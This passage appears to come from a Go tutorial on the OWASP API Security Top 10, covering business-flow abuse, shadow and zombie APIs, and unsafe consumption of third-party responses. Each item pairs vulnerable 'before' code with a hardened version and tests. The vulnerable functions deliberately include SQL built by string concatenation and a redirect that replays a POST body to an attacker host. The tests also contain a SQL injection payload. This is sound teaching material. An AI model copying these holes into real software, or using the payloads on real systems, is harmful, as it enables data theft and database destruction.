	req.Header.Set("Authorization", "Bearer "+tok)
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	return rec.Code
}

var attacks = []struct{ method, path string }{
	{http.MethodDelete, "/api/users/2"},
	{http.MethodPost, "/api/invites/new"},
	{http.MethodGet, "/api/admin/v1/users/all"},
}

func TestBeforeRegularUserReachesAdminFunctions(t *testing.T) {
	h := principal.Middleware(users)(NewMuxBefore(handlers))
	for _, a := range attacks {
		if code := call(h, a.method, a.path, "tok-user"); code != http.StatusOK {
			t.Fatalf("expected the vulnerable router to allow %s %s, got %d", a.method, a.path, code)
		}
	}
}

func TestAfterDenyByDefault(t *testing.T) {
	var logs bytes.Buffer
	mux, err := NewMux(Routes(handlers), slog.New(slog.NewJSONHandler(&logs, nil)))
	if err != nil {
		t.Fatal(err)
	}
	h := principal.Middleware(users)(mux)
	for _, a := range attacks {
		if code := call(h, a.method, a.path, "tok-user"); code != http.StatusForbidden {
			t.Fatalf("%s %s by a user: want 403, got %d", a.method, a.path, code)
		}
		if code := call(h, a.method, a.path, "tok-admin"); code != http.StatusOK {
			t.Fatalf("%s %s by an admin: want 200, got %d", a.method, a.path, code)
		}
	}
	if code := call(h, http.MethodGet, "/api/users/2", "tok-user"); code != http.StatusOK {
		t.Fatalf("regular function must stay open to users, got %d", code)
	}
	if code := call(h, http.MethodPut, "/api/users/2", "tok-user"); code != http.StatusMethodNotAllowed {
		t.Fatalf("unregistered method must be 405, got %d", code)
	}
	if got := strings.Count(logs.String(), `"msg":"authz_fail"`); got != len(attacks) {
		t.Fatalf("want %d authz_fail lines, got %d", len(attacks), got)
	}
}

func TestRouteWithoutPolicyFailsAtStartup(t *testing.T) {
	_, err := NewMux([]Route{{Pattern: "POST /api/users/{id}/promote", Handler: ok("x")}}, slog.Default())
	if err == nil {
		t.Fatal("a route without a policy must not be mounted")
	}
}

API6 Business Flows: فروشگاه درست و بدون race که یک اسکریپت خالی‌اش می‌کند؛ سپس محافظ با سقف کاربر، دستگاه و SKU همراه نشانهٔ غیرانسانی:

go
// Package flows shows API6:2023 Unrestricted Access to Sensitive Business
// Flows: a purchase endpoint with no bug in it, which a script can still use
// to buy the whole stock of a limited drop (scalping).
package flows

import (
	"errors"
	"sync"
)

// ErrSoldOut is returned when stock is exhausted.
var ErrSoldOut = errors.New("flows: sold out")

// Shop holds stock per SKU. It is correct under concurrency: the flaw in the
// "before" flow is a missing business rule, not a race.
type Shop struct {
	mu    sync.Mutex
	stock map[string]int
}

// NewShop returns a shop with the given stock.
func NewShop(stock map[string]int) *Shop {
	s := &Shop{stock: make(map[string]int, len(stock))}
	for k, v := range stock {
		s.stock[k] = v
	}
	return s
}

// take decrements stock atomically.
func (s *Shop) take(sku string, qty int) error {
	s.mu.Lock()
	defer s.mu.Unlock()
	if s.stock[sku] < qty {
		return ErrSoldOut
	}
	s.stock[sku] -= qty
	return nil
}

// Stock returns the remaining units.
func (s *Shop) Stock(sku string) int {
	s.mu.Lock()
	defer s.mu.Unlock()
	return s.stock[sku]
}
go
package flows

// CheckoutBefore sells whatever is asked for while stock lasts. Valid input,
// authenticated user, correct arithmetic: and one script empties the drop.
func CheckoutBefore(s *Shop, userID int64, sku string, qty int) error {
	_ = userID // nothing about the caller limits the flow
	return s.take(sku, qty)
}
go
package flows

import (
	"errors"
	"strconv"
	"strings"
	"sync"
	"time"
)

// Errors a protected flow returns. The HTTP layer maps ErrLimit to 429 and
// ErrSuspicious to a challenge (CAPTCHA, step-up) rather than a hard 403.
var (
	ErrLimit      = errors.New("flows: limit reached for this flow")
	ErrSuspicious = errors.New("flows: automated client suspected")
	ErrQuantity   = errors.New("flows: quantity must be between 1 and the per-user cap")
)

// Request is one checkout attempt with the signals the guard needs.
type Request struct {
	UserID      int64
	DeviceID    string    // device fingerprint computed by the client SDK or the edge
	UserAgent   string    // a weak signal, but free
	CartAddedAt time.Time // when this item went into the cart (server-side record)
	SKU         string
	Qty         int
}

// Policy is the business decision about this flow, written down.
type Policy struct {
	MaxPerUser    int           // units per user per SKU for this drop
	MaxPerDevice  int           // units per device per SKU (many accounts, one phone)
	MaxPerSKURate int           // checkouts per SKU per Window across all users
	Window        time.Duration // window for MaxPerSKURate
	MinHumanDelay time.Duration // add-to-cart -> checkout faster than this is not a human
	BlockedAgents []string      // substrings of user agents refused outright
	RequireDevice bool
	Now           func() time.Time
}

// Guard enforces Policy: rate limits per user and per resource, a device
// cap, and two cheap non-human pattern checks. It keeps counters in memory;
// a cluster keeps them in Redis (see the rate-limiting chapter).
type Guard struct {
	p        Policy
	shop     *Shop
	mu       sync.Mutex
	byUser   map[string]int
	byDevice map[string]int
	skuHits  map[string][]time.Time
}

// NewGuard wraps a shop with a flow policy.
func NewGuard(s *Shop, p Policy) *Guard {
	if p.Now == nil {
		p.Now = time.Now
	}
	return &Guard{p: p, shop: s, byUser: map[string]int{}, byDevice: map[string]int{}, skuHits: map[string][]time.Time{}}
}

// Checkout applies the policy, then the stock rule.
func (g *Guard) Checkout(r Request) error {
	now := g.p.Now()
	if r.Qty < 1 || r.Qty > g.p.MaxPerUser {
		return ErrQuantity // a negative quantity would add stock and dodge the caps
	}
	if g.p.RequireDevice && r.DeviceID == "" {
		return ErrSuspicious
	}
	for _, bad := range g.p.BlockedAgents {
		if strings.Contains(r.UserAgent, bad) {
			return ErrSuspicious
		}
	}
	if now.Sub(r.CartAddedAt) < g.p.MinHumanDelay {
		return ErrSuspicious
	}

	g.mu.Lock()
	defer g.mu.Unlock()
	uk := r.SKU + "|u|" + strconv.FormatInt(r.UserID, 10)
	dk := r.SKU + "|d|" + r.DeviceID
	if g.byUser[uk]+r.Qty > g.p.MaxPerUser || g.byDevice[dk]+r.Qty > g.p.MaxPerDevice {
		return ErrLimit
	}
	hits := g.skuHits[r.SKU][:0]
	for _, t := range g.skuHits[r.SKU] {
		if now.Sub(t) < g.p.Window {
			hits = append(hits, t)
		}
	}
	if len(hits) >= g.p.MaxPerSKURate {
		g.skuHits[r.SKU] = hits
		return ErrLimit
	}
	if err := g.shop.take(r.SKU, r.Qty); err != nil {
		return err
	}
	g.skuHits[r.SKU] = append(hits, now)
	g.byUser[uk] += r.Qty
	g.byDevice[dk] += r.Qty
	return nil
}
go
package flows

import (
	"errors"
	"strconv"
	"sync"
	"testing"
	"time"
)

const sku = "console-x"

func TestBeforeOneScriptBuysTheDrop(t *testing.T) {
	s := NewShop(map[string]int{sku: 100})
	var wg sync.WaitGroup
	for i := 0; i < 100; i++ {
		wg.Add(1)
		go func() { defer wg.Done(); _ = CheckoutBefore(s, 666, sku, 1) }()
	}
	wg.Wait()
	if s.Stock(sku) != 0 {
		t.Fatalf("expected the bot to buy everything, %d left", s.Stock(sku))
	}
}

func policy(now time.Time) Policy {
	return Policy{MaxPerUser: 2, MaxPerDevice: 2, MaxPerSKURate: 50, Window: time.Second,
		MinHumanDelay: time.Second, BlockedAgents: []string{"HeadlessChrome"}, RequireDevice: true,
		Now: func() time.Time { return now }}
}

func TestAfterPerUserAndPerDeviceLimits(t *testing.T) {
	now := time.Date(2026, 11, 27, 9, 0, 0, 0, time.UTC)
	s := NewShop(map[string]int{sku: 100})
	g := NewGuard(s, policy(now))
	human := Request{UserID: 666, DeviceID: "dev-a", UserAgent: "Mozilla/5.0", CartAddedAt: now.Add(-20 * time.Second), SKU: sku, Qty: 1}

	var ok, limited int
	for i := 0; i < 100; i++ {
		switch err := g.Checkout(human); {
		case err == nil:
			ok++
		case errors.Is(err, ErrLimit):
			limited++
		default:
			t.Fatal(err)
		}
	}
	if ok != 2 || limited != 98 || s.Stock(sku) != 98 {
		t.Fatalf("per-user cap: ok=%d limited=%d stock=%d", ok, limited, s.Stock(sku))
	}
	// A second account on the same device gets nothing more.
	other := human
	other.UserID = 667
	if err := g.Checkout(other); !errors.Is(err, ErrLimit) {
		t.Fatalf("per-device cap: want ErrLimit, got %v", err)
	}
}

func TestAfterNonHumanSignals(t *testing.T) {
	now := time.Date(2026, 11, 27, 9, 0, 0, 0, time.UTC)
	g := NewGuard(NewShop(map[string]int{sku: 10}), policy(now))
	base := Request{UserID: 1, DeviceID: "dev-b", UserAgent: "Mozilla/5.0", CartAddedAt: now.Add(-5 * time.Second), SKU: sku, Qty: 1}

	fast := base
	fast.CartAddedAt = now.Add(-300 * time.Millisecond)
	headless := base
	headless.UserAgent = "Mozilla/5.0 HeadlessChrome/120.0"
	noDevice := base
	noDevice.DeviceID = ""
	for name, r := range map[string]Request{"fast": fast, "headless": headless, "no device": noDevice} {
		if err := g.Checkout(r); !errors.Is(err, ErrSuspicious) {
			t.Fatalf("%s: want ErrSuspicious, got %v", name, err)
		}
	}
	for _, q := range []int{0, -5, 3} {
		bad := base
		bad.Qty = q
		if err := g.Checkout(bad); !errors.Is(err, ErrQuantity) {
			t.Fatalf("qty %d: want ErrQuantity, got %v", q, err)
		}
	}
	if err := g.Checkout(base); err != nil {
		t.Fatalf("a human-looking request must pass: %v", err)
	}
}

func TestAfterPerResourceRate(t *testing.T) {
	now := time.Date(2026, 11, 27, 9, 0, 0, 0, time.UTC)
	p := policy(now)
	p.MaxPerSKURate = 3
	g := NewGuard(NewShop(map[string]int{sku: 100}), p)
	var ok int
	for u := int64(1); u <= 10; u++ {
		r := Request{UserID: u, DeviceID: "dev-" + strconv.FormatInt(u, 10), UserAgent: "Mozilla/5.0", CartAddedAt: now.Add(-time.Minute), SKU: sku, Qty: 1}
		if g.Checkout(r) == nil {
			ok++
		}
	}
	if ok != 3 {
		t.Fatalf("per-SKU rate: want 3 checkouts in the window, got %d", ok)
	}
}

API9 Inventory: نصب هرچه در کد هست در برابر نصب فقط آنچه سند OpenAPI اعلام می‌کند. مسیر سایه شروع را ناموفق می‌کند؛ نسخهٔ کنارگذاشته‌شده Deprecation، Sunset و لینک جانشین می‌گیرد و سپس ۴۱۰:

json
{
  "openapi": "3.1.0",
  "info": { "title": "Shop API", "version": "2.3.0" },
  "paths": {
    "/v2/users/{id}": {
      "parameters": [
        { "name": "id", "in": "path", "required": true, "schema": { "type": "integer", "format": "int64" } }
      ],
      "get": { "operationId": "getUserV2", "x-owner": "team-accounts", "x-audience": "public" }
    },
    "/v1/users/{id}": {
      "parameters": [
        { "name": "id", "in": "path", "required": true, "schema": { "type": "integer", "format": "int64" } }
      ],
      "get": {
        "operationId": "getUserV1",
        "deprecated": true,
        "x-owner": "team-accounts",
        "x-audience": "public",
        "x-deprecated-at": "2026-06-30T23:59:59Z",
        "x-sunset": "2026-12-31T23:59:59Z",
        "x-successor": "/v2/users/{id}"
      }
    }
  }
}
go
// Package inventory shows API9:2023 Improper Inventory Management: routes
// that exist in the binary but in no inventory (shadow APIs), and old
// versions nobody retired (zombie APIs).
package inventory

import "net/http"

// MountBefore mounts whatever handlers the code base happens to contain.
// /v1 still runs (without the rate limit that v2 got), and a debug endpoint
// added for an incident never left.
func MountBefore(mux *http.ServeMux, handlers map[string]http.Handler) {
	for pattern, h := range handlers {
		mux.Handle(pattern, h)
	}
}
go
package inventory

import (
	_ "embed"
	"encoding/json"
	"fmt"
	"net/http"
	"regexp"
	"slices"
	"sort"
	"strings"
	"time"
)

//go:embed openapi.json
var specJSON []byte

// Parameter is the part of an OpenAPI Parameter Object the loader checks.
type Parameter struct {
	Name     string `json:"name"`
	In       string `json:"in"`
	Required bool   `json:"required"`
}

// Operation is the part of an OpenAPI 3.1 Operation Object the inventory
// needs, plus x- extensions for ownership and lifecycle.
type Operation struct {
	OperationID  string      `json:"operationId"`
	Deprecated   bool        `json:"deprecated"`
	Parameters   []Parameter `json:"parameters"`
	Owner        string      `json:"x-owner"`
	Audience     string      `json:"x-audience"`
	DeprecatedAt string      `json:"x-deprecated-at"`
	Sunset       string      `json:"x-sunset"`
	Successor    string      `json:"x-successor"`
}

// Spec is a minimal OpenAPI document: paths -> method -> operation, plus the
// path-level parameters shared by every operation of a path.
type Spec struct {
	Paths      map[string]map[string]Operation
	PathParams map[string][]Parameter
}

var methods = map[string]bool{"get": true, "put": true, "post": true, "delete": true, "options": true, "head": true, "patch": true, "trace": true}

var templateRe = regexp.MustCompile(`\{([^{}]+)\}`)

// Parse decodes an OpenAPI document and validates it: every template
// expression in a path must have a required "in: path" parameter, declared
// on the Path Item or on the operation (OpenAPI 3.1, Path Templating).
func Parse(doc []byte) (Spec, error) {
	var raw struct {
		Paths map[string]map[string]json.RawMessage `json:"paths"`
	}
	if err := json.Unmarshal(doc, &raw); err != nil {
		return Spec{}, err
	}
	s := Spec{Paths: map[string]map[string]Operation{}, PathParams: map[string][]Parameter{}}
	for path, item := range raw.Paths {
		s.Paths[path] = map[string]Operation{}
		for key, val := range item {
			switch {
			case key == "parameters":
				var ps []Parameter
				if err := json.Unmarshal(val, &ps); err != nil {
					return Spec{}, fmt.Errorf("inventory: %s parameters: %w", path, err)
				}
				s.PathParams[path] = ps
			case methods[key]:
				var op Operation
				if err := json.Unmarshal(val, &op); err != nil {
					return Spec{}, fmt.Errorf("inventory: %s %s: %w", key, path, err)
				}
				s.Paths[path][key] = op
			}
		}
	}
	for path, ops := range s.Paths {
		for method, op := range ops {
			for _, m := range templateRe.FindAllStringSubmatch(path, -1) {
				if !hasPathParam(effectiveParams(s.PathParams[path], op.Parameters), m[1]) {
					return Spec{}, fmt.Errorf("inventory: %s %s: template {%s} has no required path parameter", strings.ToUpper(method), path, m[1])
				}
			}
		}
	}
	return s, nil
}

// effectiveParams applies the OpenAPI rule: an operation-level parameter
// overrides a path-level one with the same name and location ("in").
func effectiveParams(pathLevel, opLevel []Parameter) []Parameter {
	out := slices.Clone(opLevel)
	for _, p := range pathLevel {
		overridden := slices.ContainsFunc(opLevel, func(o Parameter) bool { return o.Name == p.Name && o.In == p.In })
		if !overridden {
			out = append(out, p)
		}
	}
	return out
}

func hasPathParam(ps []Parameter, name string) bool {
	for _, p := range ps {
		if p.Name == name && p.In == "path" && p.Required {
			return true
		}
	}
	return false
}

// Load parses and validates the embedded OpenAPI document, the single source
// of truth.
func Load() (Spec, error) { return Parse(specJSON) }

// Patterns returns "METHOD /path" for every operation in the spec.
func (s Spec) Patterns() []string {
	var out []string
	for path, ops := range s.Paths {
		for method := range ops {
			out = append(out, strings.ToUpper(method)+" "+path)
		}
	}
	sort.Strings(out)
	return out
}

func (s Spec) op(pattern string) (Operation, bool) {
	method, path, _ := strings.Cut(pattern, " ")
	op, ok := s.Paths[path][strings.ToLower(method)]
	return op, ok
}

// Diff compares the spec with the handlers in the binary. Shadow: code
// without an inventory entry. Missing: an entry without code.
func Diff(s Spec, handlers map[string]http.Handler) (shadow, missing []string) {
	declared := s.Patterns()
	for p := range handlers {
		if !slices.Contains(declared, p) {
			shadow = append(shadow, p)
		}
	}
	for _, p := range declared {
		if _, ok := handlers[p]; !ok {
			missing = append(missing, p)
		}
	}
	sort.Strings(shadow)
	sort.Strings(missing)
	return shadow, missing
}

// Mount refuses to start when code and inventory disagree, and wraps
// deprecated operations with lifecycle headers: Deprecation (RFC 9745),
// Sunset (RFC 8594), a successor Link, and 410 Gone after the sunset date.
func Mount(mux *http.ServeMux, s Spec, handlers map[string]http.Handler, now func() time.Time) error {
	if shadow, missing := Diff(s, handlers); len(shadow)+len(missing) > 0 {
		return fmt.Errorf("inventory: shadow=%v missing=%v", shadow, missing)
	}
	for pattern, h := range handlers {
		op, _ := s.op(pattern)
		if op.Owner == "" {
			return fmt.Errorf("inventory: %s has no x-owner", pattern)
		}
		if op.Deprecated {
			wrapped, err := lifecycle(op, h, now)
			if err != nil {
				return fmt.Errorf("inventory: %s: %w", pattern, err)
			}
			h = wrapped
		}
		mux.Handle(pattern, h)
	}
	return nil
}

func lifecycle(op Operation, next http.Handler, now func() time.Time) (http.Handler, error) {
	dep, err := time.Parse(time.RFC3339, op.DeprecatedAt)
	if err != nil {
		return nil, fmt.Errorf("x-deprecated-at: %w", err)
	}
	sunset, err := time.Parse(time.RFC3339, op.Sunset)
	if err != nil {
		return nil, fmt.Errorf("x-sunset: %w", err)
	}
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		h := w.Header()
		h.Set("Deprecation", fmt.Sprintf("@%d", dep.Unix()))
		h.Set("Sunset", sunset.UTC().Format(http.TimeFormat))
		if op.Successor != "" {
			h.Set("Link", fmt.Sprintf("<%s>; rel=\"successor-version\"", op.Successor))
		}
		if !now().Before(sunset) {
			http.Error(w, "this API version has been retired", http.StatusGone)
			return
		}
		next.ServeHTTP(w, r)
	}), nil
}
go
package inventory

import (
	"io"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"
	"time"
)

func h(name string) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { _, _ = io.WriteString(w, name) })
}

func codeAndHeaders(mux http.Handler, path string) (int, http.Header) {
	rec := httptest.NewRecorder()
	mux.ServeHTTP(rec, httptest.NewRequest(http.MethodGet, path, nil))
	return rec.Code, rec.Header()
}

func TestBeforeShadowAndZombieAreLive(t *testing.T) {
	mux := http.NewServeMux()
	MountBefore(mux, map[string]http.Handler{
		"GET /v2/users/{id}": h("v2"), "GET /v1/users/{id}": h("v1"), "GET /debug/vars": h("secrets"),
	})
	for _, p := range []string{"/v1/users/1", "/debug/vars"} {
		if code, hdr := codeAndHeaders(mux, p); code != http.StatusOK || hdr.Get("Deprecation") != "" {
			t.Fatalf("expected %s to be silently reachable in the vulnerable setup, got %d", p, code)
		}
	}
}

func TestAfterShadowRouteBlocksStartup(t *testing.T) {
	spec, err := Load()
	if err != nil {
		t.Fatal(err)
	}
	err = Mount(http.NewServeMux(), spec, map[string]http.Handler{
		"GET /v2/users/{id}": h("v2"), "GET /v1/users/{id}": h("v1"), "GET /debug/vars": h("secrets"),
	}, time.Now)
	if err == nil || !strings.Contains(err.Error(), "shadow=[GET /debug/vars]") {
		t.Fatalf("want a shadow-route error, got %v", err)
	}
}

func TestAfterDeprecationThenSunset(t *testing.T) {
	spec, err := Load()
	if err != nil {
		t.Fatal(err)
	}
	clock := time.Date(2026, 11, 29, 12, 0, 0, 0, time.UTC)
	mux := http.NewServeMux()
	handlers := map[string]http.Handler{"GET /v2/users/{id}": h("v2"), "GET /v1/users/{id}": h("v1")}
	if err := Mount(mux, spec, handlers, func() time.Time { return clock }); err != nil {
		t.Fatal(err)
	}
	code, hdr := codeAndHeaders(mux, "/v1/users/1")
	if code != http.StatusOK || hdr.Get("Deprecation") != "@1782863999" || hdr.Get("Sunset") != "Thu, 31 Dec 2026 23:59:59 GMT" {
		t.Fatalf("deprecated version: %d %v", code, hdr)
	}
	if !strings.Contains(hdr.Get("Link"), `rel="successor-version"`) {
		t.Fatalf("missing successor link: %v", hdr)
	}
	if code, hdr := codeAndHeaders(mux, "/v2/users/1"); code != http.StatusOK || hdr.Get("Deprecation") != "" {
		t.Fatalf("current version must carry no lifecycle headers: %d %v", code, hdr)
	}
	clock = time.Date(2027, 1, 1, 0, 0, 0, 0, time.UTC)
	if code, _ := codeAndHeaders(mux, "/v1/users/1"); code != http.StatusGone {
		t.Fatalf("after sunset want 410, got %d", code)
	}
}

func TestSpecRequiresPathParameters(t *testing.T) {
	if _, err := Load(); err != nil {
		t.Fatalf("embedded spec must validate: %v", err)
	}
	bad := []byte(`{"openapi":"3.1.0","paths":{"/v2/orders/{id}":{"get":{"x-owner":"team-orders"}}}}`)
	if _, err := Parse(bad); err == nil || !strings.Contains(err.Error(), "template {id}") {
		t.Fatalf("a template without a path parameter must be rejected, got %v", err)
	}
	ok := []byte(`{"openapi":"3.1.0","paths":{"/v2/orders/{id}":{"get":{"x-owner":"o","parameters":[{"name":"id","in":"path","required":true}]}}}}`)
	if _, err := Parse(ok); err != nil {
		t.Fatalf("an operation-level parameter must count: %v", err)
	}
}

func TestOperationParameterOverridesPathLevel(t *testing.T) {
	// Path level says required; the operation overrides id/path with
	// required=false, so the template is not satisfied.
	doc := []byte(`{"openapi":"3.1.0","paths":{"/v2/orders/{id}":{
	  "parameters":[{"name":"id","in":"path","required":true}],
	  "get":{"x-owner":"o","parameters":[{"name":"id","in":"path","required":false}]}}}}`)
	if _, err := Parse(doc); err == nil || !strings.Contains(err.Error(), "template {id}") {
		t.Fatalf("an operation-level override must win over the path level, got %v", err)
	}
	// A same-name parameter in another location does not override.
	doc = []byte(`{"openapi":"3.1.0","paths":{"/v2/orders/{id}":{
	  "parameters":[{"name":"id","in":"path","required":true}],
	  "get":{"x-owner":"o","parameters":[{"name":"id","in":"query","required":false}]}}}}`)
	if _, err := Parse(doc); err != nil {
		t.Fatalf("a query parameter named id must not override the path one: %v", err)
	}
}

API10 Unsafe Consumption: کلاینت پیش‌فرض که در 308 بدنهٔ POST را برای مهاجم بازپخش و متن بالادستی را در SQL الحاق می‌کند؛ در برابر کلاینت با TLS و فهرست مجاز میزبان در گام اول و هر redirect، timeout، سقف بدنه، اعتبارسنجی فیلد و پارامتر bindشده:

go
// Package consume shows API10:2023 Unsafe Consumption of APIs: the API
// treats a third-party response as trusted, so a compromised or malicious
// upstream can redirect sensitive data, inject into SQL, or exhaust memory.
package consume

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
)

// Business is what the enrichment provider returns for an address.
type Business struct {
	Name    string `json:"name"`
	City    string `json:"city"`
	Country string `json:"country"`
}

// EnrichBefore uses http.DefaultClient (no timeout, follows up to 10
// redirects), reads the whole body, and builds SQL from the upstream value.
func EnrichBefore(url string) (query string, err error) {
	resp, err := http.Get(url)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()
	body, err := io.ReadAll(resp.Body) // unbounded
	if err != nil {
		return "", err
	}
	var b Business
	if err := json.Unmarshal(body, &b); err != nil {
		return "", err
	}
	// "It comes from our provider, so it is clean."
	return fmt.Sprintf("INSERT INTO businesses (name, city) VALUES ('%s', '%s')", b.Name, b.City), nil
}

// StoreRecordBefore posts sensitive data to a partner. net/http replays the
// body on 307/308, so a compromised partner answering
// "308 Location: https://attacker.example/" receives the same payload.
func StoreRecordBefore(client *http.Client, url string, record []byte) error {
	resp, err := client.Post(url, "application/json", bytes.NewReader(record))
	if err != nil {
		return err
	}
	return resp.Body.Close()
}
go
package consume

import (
	"bytes"
	"context"
	"encoding/json"
	"errors"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"regexp"
	"time"
	"unicode/utf8"
)

// Errors returned by the hardened client.
var (
	ErrUpstream = errors.New("consume: upstream response rejected")
	ErrRedirect = errors.New("consume: redirect to a host that is not allow-listed")
)

// Client wraps one integration with its own trust rules.
type Client struct {
	HTTP     *http.Client
	MaxBytes int64
	allowed  map[string]bool
}

// ErrEndpoint is returned when the first hop itself is not https or not on
// the allow-list (CheckRedirect only sees the hops after it).
var ErrEndpoint = errors.New("consume: endpoint is not https on an allow-listed host")

func (c *Client) checkEndpoint(endpoint string) error {
	u, err := url.Parse(endpoint)
	if err != nil || u.Scheme != "https" || !c.allowed[u.Host] {
		return fmt.Errorf("%w: %q", ErrEndpoint, endpoint)
	}
	return nil
}

// NewClient returns a client that only talks TLS to allow-listed hosts (first
// hop checked by checkEndpoint, later hops by CheckRedirect),
// gives up after timeout, and never follows a redirect off the allow-list.
// base is used for the transport (tests pass an httptest TLS client).
func NewClient(base *http.Client, allowedHosts []string, timeout time.Duration) *Client {
	allowed := make(map[string]bool, len(allowedHosts))
	for _, h := range allowedHosts {
		allowed[h] = true
	}
	c := &http.Client{
		Transport: base.Transport,
		Timeout:   timeout,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			if len(via) >= 3 || req.URL.Scheme != "https" || !allowed[req.URL.Host] {
				return fmt.Errorf("%w: %s", ErrRedirect, req.URL.Host)
			}
			return nil
		},
	}
	return &Client{HTTP: c, MaxBytes: 64 << 10, allowed: allowed}
}

// StoreRecord posts to the partner; a redirect off the allow-list fails the
// call before the body is sent anywhere else.
func (c *Client) StoreRecord(ctx context.Context, endpoint string, record []byte) error {
	if err := c.checkEndpoint(endpoint); err != nil {
		return err
	}
	req, err := http.NewRequestWithContext(ctx, http.MethodPost, endpoint, bytes.NewReader(record))
	if err != nil {
		return err
	}
	req.Header.Set("Content-Type", "application/json")
	resp, err := c.HTTP.Do(req)
	if err != nil {
		return err
	}
	defer resp.Body.Close()
	if resp.StatusCode/100 != 2 {
		return fmt.Errorf("%w: status %d", ErrUpstream, resp.StatusCode)
	}
	return nil
}

var cityRe = regexp.MustCompile(`^[\p{L} .'-]{1,80}$`)
var countryRe = regexp.MustCompile(`^[A-Z]{2}$`)

// Validate is input validation of upstream responses: the same rules as for
// user input, because the provider is just another untrusted source.
func (b Business) Validate() error {
	switch {
	case !utf8.ValidString(b.Name) || len(b.Name) == 0 || len(b.Name) > 200:
		return fmt.Errorf("%w: name", ErrUpstream)
	case !cityRe.MatchString(b.City):
		return fmt.Errorf("%w: city", ErrUpstream)
	case !countryRe.MatchString(b.Country):
		return fmt.Errorf("%w: country", ErrUpstream)
	}
	return nil
}

// Enrich fetches, caps the body, checks status and content type, decodes,
// validates, and returns a parameterised statement: the upstream value is a
// bound argument, never SQL text.
func (c *Client) Enrich(ctx context.Context, endpoint string) (query string, args []any, err error) {
	if err := c.checkEndpoint(endpoint); err != nil {
		return "", nil, err
	}
	req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)
	if err != nil {
		return "", nil, err
	}
	resp, err := c.HTTP.Do(req)
	if err != nil {
		return "", nil, err
	}
	defer resp.Body.Close()
	if resp.StatusCode != http.StatusOK || resp.Header.Get("Content-Type") != "application/json" {
		return "", nil, fmt.Errorf("%w: status %d, type %q", ErrUpstream, resp.StatusCode, resp.Header.Get("Content-Type"))
	}
	body, err := io.ReadAll(io.LimitReader(resp.Body, c.MaxBytes+1))
	if err != nil {
		return "", nil, err
	}
	if int64(len(body)) > c.MaxBytes {
		return "", nil, fmt.Errorf("%w: body larger than %d bytes", ErrUpstream, c.MaxBytes)
	}
	var b Business
	if err := json.Unmarshal(body, &b); err != nil {
		return "", nil, fmt.Errorf("%w: %v", ErrUpstream, err)
	}
	if err := b.Validate(); err != nil {
		return "", nil, err
	}
	return "INSERT INTO businesses (name, city, country) VALUES ($1, $2, $3)", []any{b.Name, b.City, b.Country}, nil
}
go
package consume

import (
	"context"
	"errors"
	"io"
	"net/http"
	"net/http/httptest"
	"net/url"
	"strings"
	"sync/atomic"
	"testing"
	"time"
)

const record = `{"genome":"ACTAGTAG"}`

// attacker counts how many bytes of sensitive data reached it.
func attacker(t *testing.T, tls bool) (*httptest.Server, *atomic.Int64) {
	t.Helper()
	var got atomic.Int64
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		b, _ := io.ReadAll(r.Body)
		got.Add(int64(len(b)))
	})
	var s *httptest.Server
	if tls {
		s = httptest.NewTLSServer(h)
	} else {
		s = httptest.NewServer(h)
	}
	t.Cleanup(s.Close)
	return s, &got
}

// compromisedPartner answers every request with 308 to the attacker.
func compromisedPartner(t *testing.T, tls bool, to string) *httptest.Server {
	t.Helper()
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		_, _ = io.Copy(io.Discard, r.Body)
		http.Redirect(w, r, to, http.StatusPermanentRedirect)
	})
	var s *httptest.Server
	if tls {
		s = httptest.NewTLSServer(h)
	} else {
		s = httptest.NewServer(h)
	}
	t.Cleanup(s.Close)
	return s
}

func host(s *httptest.Server) string { u, _ := url.Parse(s.URL); return u.Host }

func TestBeforeFollowsRedirectWithBody(t *testing.T) {
	evil, got := attacker(t, false)
	partner := compromisedPartner(t, false, evil.URL+"/steal")
	if err := StoreRecordBefore(http.DefaultClient, partner.URL+"/store_phr_record", []byte(record)); err != nil {
		t.Fatal(err)
	}
	if got.Load() != int64(len(record)) {
		t.Fatalf("expected the record to be replayed to the attacker, got %d bytes", got.Load())
	}
}

func TestBeforeTrustsUpstreamIntoSQL(t *testing.T) {
	up := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "application/json")
		_, _ = io.WriteString(w, `{"name":"x'); DROP TABLE businesses;--","city":"Delft","country":"NL"}`)
	}))
	defer up.Close()
	q, err := EnrichBefore(up.URL)
	if err != nil || !strings.Contains(q, "DROP TABLE businesses") {
		t.Fatalf("expected injected SQL text in the vulnerable query, got %q %v", q, err)
	}
}

func TestAfterRefusesRedirectOffAllowList(t *testing.T) {
	evil, got := attacker(t, true)
	partner := compromisedPartner(t, true, evil.URL+"/steal")
	c := NewClient(partner.Client(), []string{host(partner)}, 2*time.Second)
	err := c.StoreRecord(context.Background(), partner.URL+"/store_phr_record", []byte(record))
	if !errors.Is(err, ErrRedirect) || got.Load() != 0 {
		t.Fatalf("want ErrRedirect and nothing at the attacker; err=%v bytes=%d", err, got.Load())
	}
}

func TestAfterValidatesAndBinds(t *testing.T) {
	var body atomic.Value
	up := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "application/json")
		_, _ = io.WriteString(w, body.Load().(string))
	}))
	defer up.Close()
	c := NewClient(up.Client(), []string{host(up)}, 2*time.Second)

	body.Store(`{"name":"x'); DROP TABLE businesses;--","city":"Delft","country":"NL"}`)
	q, args, err := c.Enrich(context.Background(), up.URL)
	if err != nil || strings.Contains(q, "DROP") || args[0] != "x'); DROP TABLE businesses;--" {
		t.Fatalf("upstream text must travel as a bound argument: %q %v %v", q, args, err)
	}

	body.Store(`{"name":"Acme","city":"<script>","country":"NL"}`)
	if _, _, err := c.Enrich(context.Background(), up.URL); !errors.Is(err, ErrUpstream) {
		t.Fatalf("invalid city must be rejected, got %v", err)
	}

	body.Store(`{"name":"` + strings.Repeat("A", 70<<10) + `","city":"Delft","country":"NL"}`)
